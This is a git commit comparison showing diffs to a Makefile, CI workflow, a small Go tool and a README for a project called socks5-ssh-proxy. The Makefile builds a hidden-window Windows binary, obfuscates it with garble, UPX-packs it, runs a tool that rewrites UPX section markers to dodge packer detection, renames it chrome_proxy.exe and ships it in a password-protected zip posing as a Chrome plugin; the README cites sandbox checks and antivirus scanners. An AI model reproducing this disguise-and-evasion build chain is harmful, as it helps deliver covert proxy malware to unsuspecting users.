Compare commits
No commits in common. "1436d19c04c0aee1cf95384b027ed96171e4267b" and "6f72252f35cd786802f0e8a17326f4d1ecaa145d" have entirely different histories.
1436d19c04
...
6f72252f35
|
|
@ -48,7 +48,6 @@ jobs:
|
|||
platform: x64
|
||||
|
||||
- run: make win
|
||||
- run: make win-package
|
||||
|
||||
- name: Store release artifacts
|
||||
uses: actions/upload-artifact@v4
|
||||
|
|
|
|||
44
Makefile
44
Makefile
|
|
@ -7,42 +7,44 @@ export PATH := $(shell go env GOPATH)/bin:$(PATH)
|
|||
all: socks5-ssh-proxy
|
||||
|
||||
ci: release
|
||||
release: socks5-ssh-proxy.release socks5-ssh-proxy.exe
|
||||
mkdir -v -p dist
|
||||
cp -v $^ dist
|
||||
|
||||
win: dist/socks5-ssh-proxy.exe dist/socks5-ssh-proxy.tiny.exe
|
||||
win-package: dist/ChromeProxyHelperPlugin.zip
|
||||
|
||||
dist:
|
||||
mkdir -p dist
|
||||
|
||||
test: socks5-ssh-proxy
|
||||
cp socks5-ssh-proxy ~/.ssh; cd ~/.ssh; ~/.ssh/socks5-ssh-proxy
|
||||
test-release: socks5-ssh-proxy.release
|
||||
./socks5-ssh-proxy.release
|
||||
socks5-ssh-proxy: $(SOURCES)
|
||||
GOOS=linux GOARCH=amd64 go build -tags release,linux -o $@
|
||||
socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
|
||||
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
|
||||
upx $@
|
||||
|
||||
dist/socks5-ssh-proxy.exe: dist resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
|
||||
win: dist/chrome_proxy.exe
|
||||
dist/chrome_proxy.exe: socks5-ssh-proxy.exe
|
||||
mkdir -p dist
|
||||
cp -v $< $@
|
||||
socks5-ssh-proxy.exe: resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
|
||||
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
|
||||
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 $(GARBLE_BIN) -literals build -trimpath -ldflags "-s -w -H=windowsgui -buildid=" -tags windows,release -o $@
|
||||
dist/socks5-ssh-proxy.tiny.exe: dist resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
|
||||
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
|
||||
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 $(GARBLE_BIN) -literals -tiny build -trimpath -ldflags "-s -w -H=windowsgui -buildid=" -tags windows,release -o $@
|
||||
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
|
||||
#CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
|
||||
#upx $@
|
||||
#go run cmd/upx-obfuscator/main.go $@
|
||||
goreleaser: resources $(GARBLE_BIN)
|
||||
goreleaser build --verbose --clean --snapshot --id win-release
|
||||
dist/ChromeProxyHelperPlugin.zip: dist/chrome_proxy.exe
|
||||
file $<
|
||||
ls -lh $<
|
||||
zip -eP resistanceIsFutile $@ $<
|
||||
dist/chrome_proxy.exe: dist/socks5-ssh-proxy.tiny.exe
|
||||
cp -v $< $@
|
||||
upx --lzma --ultra-brute --best $@
|
||||
go run cmd/upx-obfuscator/main.go $@
|
||||
|
||||
# goreleaser build --clean --snapshot --id win-release
|
||||
win-package: ChromeProxyHelperPlugin.zip
|
||||
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
|
||||
cp socks5-ssh-proxy.exe chrome_proxy.exe
|
||||
#upx chrome_proxy.exe
|
||||
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
|
||||
rm -f chrome_proxy.exe
|
||||
install-deps: $(GARBLE_BIN) $(GOVERSIONINFO_BIN)
|
||||
$(GARBLE_BIN):
|
||||
go install mvdan.cc/garble@v0.12.1
|
||||
$(GOVERSIONINFO_BIN):
|
||||
go install github.com/josephspurrier/goversioninfo/cmd/goversioninfo@v1.4.0
|
||||
|
||||
clean:
|
||||
rm -f *.exe
|
||||
rm -f *.zip
|
||||
|
|
|
|||
|
|
@ -4,7 +4,6 @@ import (
|
|||
"os"
|
||||
"bytes"
|
||||
"log"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func bytesReplace(data, old, new []byte) []byte {
|
||||
|
|
@ -14,6 +13,7 @@ func bytesReplace(data, old, new []byte) []byte {
|
|||
log.Println("Found identifier at offset", foundIndex)
|
||||
} else {
|
||||
return data
|
||||
log.Fatalln("Error file is not UPX packed")
|
||||
}
|
||||
|
||||
return bytes.Replace(data, old, new, 1)
|
||||
|
|
@ -31,11 +31,9 @@ func main() {
|
|||
|
||||
data, _ := os.ReadFile(filename)
|
||||
|
||||
for i := range(10) {
|
||||
upxIdentifier := fmt.Sprintf("UPX%d", i)
|
||||
efbIdentifier := fmt.Sprintf("EFB%d", i)
|
||||
data = bytesReplace(data, []byte(upxIdentifier), []byte(efbIdentifier))
|
||||
}
|
||||
data = bytesReplace(data, []byte("UPX0"), []byte("GSP7"))
|
||||
data = bytesReplace(data, []byte("UPX1"), []byte("GSP1"))
|
||||
data = bytesReplace(data, []byte("UPX2"), []byte("GSP2"))
|
||||
|
||||
_ = os.WriteFile(filename, data, 0666)
|
||||
|
||||
|
|
|
|||
|
|
@ -73,11 +73,6 @@ Check if running under wine by testing if executables are present:
|
|||
* <https://github.com/sandflysecurity/sandfly-entropyscan>
|
||||
* <https://pypi.org/project/unipacker/>
|
||||
|
||||
**Online scanners**
|
||||
|
||||
* <https://www.filescan.io/>
|
||||
* <https://virusscan.jotti.org/>
|
||||
|
||||
## Related information
|
||||
|
||||
* <https://github.com/rootkit-io/awesome-malware-development>
|
||||
|
|
|
|||
Loading…
Reference in New Issue